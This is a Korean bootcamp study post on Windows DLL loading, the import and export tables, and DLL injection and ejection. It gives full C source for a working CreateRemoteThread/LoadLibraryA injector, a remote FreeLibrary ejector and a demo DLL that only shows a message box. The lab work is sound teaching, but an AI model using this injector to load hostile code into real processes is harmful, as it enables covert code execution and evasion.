본문 바로가기

Program/토스뱅크 사이버보안 엔지니어 부트캠프(공격&방어 기술)

[System] DLL

1. DLL 개요

1.1 DLL

+ 로드 라이브러리

 

1.2 IAT

1.3 EAT

1.4 DLL Injection

iat가 변조 대상, 공격 벡터

여기를 변조하여 임의의 것을 올릴 수 있음

 

 

1.5 DLL Ejection

 

 

2. dll이 exe가 동작하는 방식 확인

2.0 설명

- 대상: loader.exe

- mydll.dll

 

 

2.1 loader.c 코드 분석

#include <windows.h>
#include <stdio.h>

int main() {
    // DLL 로드
    HMODULE hDll = LoadLibrary("mydll.dll");
    if (!hDll) {
        printf("DLL 로드 실패: %lu\n", GetLastError());
        return 1;
    }

    printf("DLL 핸들: 0x%p\n", hDll);

    // 함수 주소 가져오기
    FARPROC func = GetProcAddress(hDll, "HelloFromDLL");
    if (!func) {
        printf("함수 찾기 실패: %lu\n", GetLastError());
        return 1;
    }

    printf("함수 주소: 0x%p\n", func);

    // 함수 호출
    ((void(*)())func)();

    // DLL 경로 확인
    char path[MAX_PATH];
    GetModuleFileNameA(hDll, path, MAX_PATH);
    printf("DLL 경로: %s\n", path);

    // DLL 언로드
    FreeLibrary(hDll);
    return 0;
}

1) 

 

 

 

2.2 mydll.c 코드 분석

#include <windows.h>
#include <stdio.h>

// DLL에서 내보낼 함수
__declspec(dllexport) void HelloFromDLL() {
    MessageBoxA(NULL, "Hello from DLL!", "DLL", MB_OK);
}

1)

 

 

 

2.3 컴파일

i686-w64-mingw32-gcc [소스코드 파일명] -o [실행/라이브러리 파일명] \
-Wl,--image-base,0x400000 \
-Wl,--disable-dynamicbase \
-Wl,--file-alignment,0x200 \
-Wl,--subsystem,windows \
-Wl,--section-alignment,0x1000 \
-Wl,--nxcompat \
-Wl,--no-insert-timestamp && \
i686-w64-mingw32-strip [실행/라이브러리 파일명]

 

 

2.4 PEview로 확인

  • iat를 확인해서 fuction name을 확인하고
  • 무슨 명칭으로 넘기는지 eat를 확인해야 함

 

3. DLL Injection

3.0 

 

 

3.1 injectior.c 코드 설명

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("사용법: %s <PID> <DLL 경로>\n", argv[0]);
        return 1;
    }
// PID 와 DLL 의 경로를 받음
    DWORD pid = atoi(argv[1]);
    const char *dllPath = argv[2];
// 첫 번째 인자   PID 두번째 인자는 DLL 경로
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        printf("프로세스 열기 실패: %lu\n", GetLastError());
        return 1;
    }

    LPVOID pRemote = VirtualAllocEx(hProc, NULL, strlen(dllPath) + 1,
                                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) {
        printf("메모리 할당 실패\n");
        CloseHandle(hProc);
        return 1;
    }

    if (!WriteProcessMemory(hProc, pRemote, dllPath, strlen(dllPath) + 1, NULL)) {
        printf("메모리 쓰기 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    LPVOID pLoadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (!pLoadLib) {
        printf("LoadLibraryA 주소 찾기 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)pLoadLib,
                                        pRemote, 0, NULL);
    if (!hThread) {
        printf("원격 스레드 생성 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProc);

    printf("DLL Injection 완료!\n");
    return 0;
}

 

 

3.2 mydll2.c 분석

#include <windows.h>
#include <stdio.h>

// DLL에서 내보낼 함수
__declspec(dllexport) void HelloFromDLL() {
    MessageBoxA(NULL, "Hello from DLL Injection!", "DLL", MB_OK);
}

 

 

3.3 컴파일

 

 

3.4 Injection 대상 PID 확인

 

 

3.5 Process Explorer로 기존 라이브러리 확인

 

 

3.6 Injector.exe 실행하여 DLL Injection 수행

 

 

3.7 Process Explorer로 injection 확인

 

 

 

4. DLL Ejection

4.0 환경

 

 

4.1 ejector.c 코드 분석

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("사용법: %s <PID> <DLL 이름>\n", argv[0]);
        return 1;
    }

    DWORD pid = atoi(argv[1]);
    const char *targetDll = argv[2];

    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid);
    if (!hProc) {
        printf("프로세스 열기 실패: %lu\n", GetLastError());
        return 1;
    }

    HMODULE hMods[1024];
    DWORD cbNeeded;
    if (!EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded)) {
        printf("모듈 나열 실패\n");
        CloseHandle(hProc);
        return 1;
    }

    BOOL found = FALSE;
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char modName[MAX_PATH];
        if (GetModuleFileNameExA(hProc, hMods[i], modName, sizeof(modName))) {
            if (strstr(modName, targetDll)) {
                printf("DLL 발견: %s\n", modName);
                printf("베이스 주소: 0x%p\n", hMods[i]);

                // FreeLibrary 주소 가져오기
                LPVOID pFreeLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "FreeLibrary");
                if (!pFreeLib) {
                    printf("FreeLibrary 주소 찾기 실패\n");
                    break;
                }

                // 원격 스레드로 FreeLibrary 호출
                HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
                    (LPTHREAD_START_ROUTINE)pFreeLib,
                    hMods[i], 0, NULL);

                if (hThread) {
                    WaitForSingleObject(hThread, INFINITE);
                    CloseHandle(hThread);
                    printf("DLL 언로드 시도 완료\n");
                } else {
                    printf("원격 스레드 생성 실패\n");
                }

                found = TRUE;
                break;
            }
        }
    }

    if (!found) {
        printf("DLL이 대상 프로세스에 로드되어 있지 않습니다\n");
    }

    CloseHandle(hProc);
    return 0;
}

 

 

 

4.2 컴파일

 

 

4.3 ejector.exe 실행

 

 

4.4 Process Explorer로 ejection 확인

 

 

4.5 추가 다른 라이브러리 ejection 확인

IAT DLL은 제거되지 않음

그 이유는 IAT에 등록된 DLL은 프로세스 시작 시 자동으로 로드되며, 해당 DLL의 참조 카운트는 FreeLibrary() 로 줄일 수 없다.

제거하려면 IAT를 직접 수정하거나 PE를 패치해야 한다.

 

 

 

 

---

시행착오

1. 권한 문제 -> 다운로드 받은거는 소유자가 달라서./ 악성코드 실시간 탐지 때문에

2. 

 

 

'Program > 토스뱅크 사이버보안 엔지니어 부트캠프(공격&방어 기술)' 카테고리의 다른 글

[APT] APT29 POSHSPY  (0) 2025.12.09
[System] svchost  (0) 2025.11.19
[Network] ARP Spoofing  (0) 2025.11.06
[Network] 네트워크 구성 요소  (0) 2025.11.04
[AWS] 기초  (0) 2025.10.28